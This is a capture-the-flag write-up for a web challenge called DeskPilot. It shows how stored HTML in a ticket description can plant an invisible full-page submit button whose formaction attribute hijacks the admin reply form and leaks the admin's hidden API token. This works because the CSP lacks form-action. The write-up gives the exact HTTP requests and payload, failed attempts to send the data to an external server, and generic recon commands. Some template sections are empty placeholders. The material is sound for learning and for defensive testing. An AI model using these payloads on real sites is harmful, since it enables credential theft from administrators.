DeskPilot — Stored XSS via Form Hijacking (CSP Bypass)
DeskPilot — Stored XSS via Form Hijacking (CSP Bypass)
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-17 | Status: Solved Techniques: admin_bot_click_exploitation, csp_form_action_directive_bypass, form_hijacking_via_formaction_attribute, invisible_button_overlay, same_origin_data_exfiltration, stored_html_injection_in_form_context
Summary
Task: Customer support platform renders HTML ticket descriptions unescaped inside a reply form containing admin's API token; CSP blocks scripts but lacks form-action directive. Solution: Inject invisible submit button with formaction attribute to hijack form submission, exfiltrating admin token to a same-origin endpoint.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260517_hackadvisor_deskpilot - Tags: nodejs, xss, stored_xss, express, html_injection, admin_bot, csp_bypass, form_hijacking, formaction, api_token_exfiltration
- Indicators: HTML rendered unescaped inside a <form> element, CSP missing form-action directive, Hidden input with sensitive token inside form, Admin bot reviews user-submitted content, HTML formatting explicitly allowed in user input
- Source:
20260517_hackadvisor_deskpilot.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_click_exploitation
- Csp_form_action_directive_bypass
- Form_hijacking_via_formaction_attribute
- Invisible_button_overlay
- Same_origin_data_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_click_exploitation
- csp_form_action_directive_bypass
- form_hijacking_via_formaction_attribute
- invisible_button_overlay
- same_origin_data_exfiltration
- stored_html_injection_in_form_context
- Tags: nodejs, xss, stored_xss, express, html_injection, admin_bot, csp_bypass, form_hijacking, formaction, api_token_exfiltration
Original Writeup
<details><summary>Click to expand original content</summary>Description
You are testing DeskPilot, a customer support platform built by PilotDesk Inc. The application allows users to submit support tickets and agents respond through a web interface. The development team has implemented Content Security Policy headers to protect against common injection attacks.
Your goal is to find a way to exfiltrate the admin's secret API token. Pay close attention to what the CSP does and does not restrict, and examine how the ticket detail page renders content alongside the agent reply form.
A Node.js/Express customer support ticketing system. Users create tickets with HTML-formatted descriptions. Admins review tickets via a page that includes a reply form with a hidden api_token field. An admin bot automatically reviews new tickets every 15 seconds. The goal is to exfiltrate the admin's API token (the flag).
Credentials: user@test.com / password123
Analysis
Application Structure
After logging in, the dashboard shows a ticket management system. Key observations:
- Ticket creation explicitly states: "The description field supports HTML formatting for rich text."
- Ticket detail page (
/tickets/:id) renders the ticket description as raw unescaped HTML. - The critical detail: the description is rendered inside the reply
<form>element, which contains the admin's API token as a hidden field.
The reply form structure on the ticket detail page:
<form method="POST" action="/tickets/8/reply" id="replyForm">
<input type="hidden" name="api_token" value="ADMIN_SECRET_TOKEN">
<div class="dp-ticket-description">
<!-- USER HTML RENDERED HERE — UNESCAPED -->
</div>
<div class="dp-comments-section">...</div>
<div class="dp-reply-section">
<textarea name="reply_content" rows="4"></textarea>
<button type="submit">Send Reply</button>
</div>
</form>
The user's own API token is visible on /profile. The admin has a different (secret) token — the flag.
CSP Analysis
The Content-Security-Policy header:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src * data:;
font-src 'self';
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
frame-ancestors 'self'
What CSP blocks:
- Inline JavaScript (
script-src 'self') — no<script>, noonerror, no event handlers - External script loading
- Frames, objects (
frame-src 'none',object-src 'none') - Fetch/XHR to external origins (
connect-src 'self')
Critical weakness — form-action is missing:
Unlike most other directives, form-action does NOT fall back to default-src 'self'. Per the CSP specification, when form-action is absent, form submissions are unrestricted — they can target any URL, including external origins or arbitrary same-origin endpoints. This is a commonly overlooked CSP gap.
Attack Vector: HTML5 formaction Attribute
The HTML5 formaction attribute on <button type="submit"> or <input type="submit"> overrides the parent <form>'s action attribute. Since:
- The ticket description renders raw HTML inside the reply form
- The form contains the admin's
api_tokenas a hidden field - CSP has no
form-actionrestriction
We can inject a submit button with formaction pointing to a controlled endpoint, hijacking the form submission to exfiltrate the token.
API Endpoints
From /js/ticket-detail.js:
POST /api/tickets/:id/status— update ticket statusPOST /api/tickets/:id/comments— add commentGET /api/tickets/:id/comments— retrieve commentsPOST /tickets/:id/reply— submit reply (includesapi_tokenandreply_content)
Solution
Step 1: Create a Receiver Ticket
Create a normal ticket that will receive the exfiltrated data as a reply/comment:
POST /tickets/new
Content-Type: application/x-www-form-urlencoded
subject=Placeholder+for+form+hijack&category=general&priority=medium&description=placeholder
This creates ticket #21 (the receiver).
Step 2: Create the Attack Ticket with Form Hijacking Payload
Create a second ticket with an injected invisible submit button:
POST /tickets/new
Content-Type: application/x-www-form-urlencoded
subject=Need+help+with+formatting&category=general&priority=medium&description=<button type="submit" formaction="/tickets/21/reply" style="position:fixed;top:0;left:0;width:100%;height:100%;opacity:0;z-index:99999;border:none;background:transparent;"></button>
The payload:
<button type="submit"
formaction="/tickets/21/reply"
style="position:fixed;top:0;left:0;width:100%;height:100%;opacity:0;z-index:99999;border:none;background:transparent;">
</button>
This creates an invisible button covering the entire viewport:
position:fixed; top:0; left:0; width:100%; height:100%— covers the full pageopacity:0— completely invisiblez-index:99999— sits above all other elementsformaction="/tickets/21/reply"— redirects form submission to the receiver ticket
Step 3: Wait for Admin Bot
The admin bot reviews new tickets every ~15 seconds. When it visits the attack ticket and interacts with the page, the invisible button intercepts the click and submits the reply form — including the hidden api_token field — to /tickets/21/reply.
Step 4: Retrieve the Exfiltrated Token
Check the receiver ticket's comments:
GET /api/tickets/21/comments
Response:
{
"ticket_id": "21",
"comments": [
{
"id": 18,
"content": "[Token submitted: FLAG{REDACTED}]",
"created_at": "2026-05-17T07:24:14.198Z",
"author": "Admin"
}
]
}
The admin's API token — the flag — is exfiltrated via same-origin form submission.
What Didn't Work
-
External
formactionto interaction server: Pointedformactiontohttp://interact-server/UUID/steal. Requests arrived at the interaction server but query parameters weren't visible in the log display. Cross-origin form submissions may also have been blocked. -
CSS attribute selector exfiltration: Tried
input[name="api_token"][value^="X"] ~ div { background-image: url(...) }to leak the token character by character. The<style>tag rendered but background-image requests never fired — likely because browsers don't apply sibling selectors reliably for hidden inputs. -
formmethod="GET"to external URLs: Similar to attempt #1 — requests arrived but without visible form data in query strings.
Key insight: Same-origin exfiltration is far more reliable than cross-origin when CSP restricts external connections. Redirecting form data to another endpoint on the same application avoids all cross-origin issues.
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR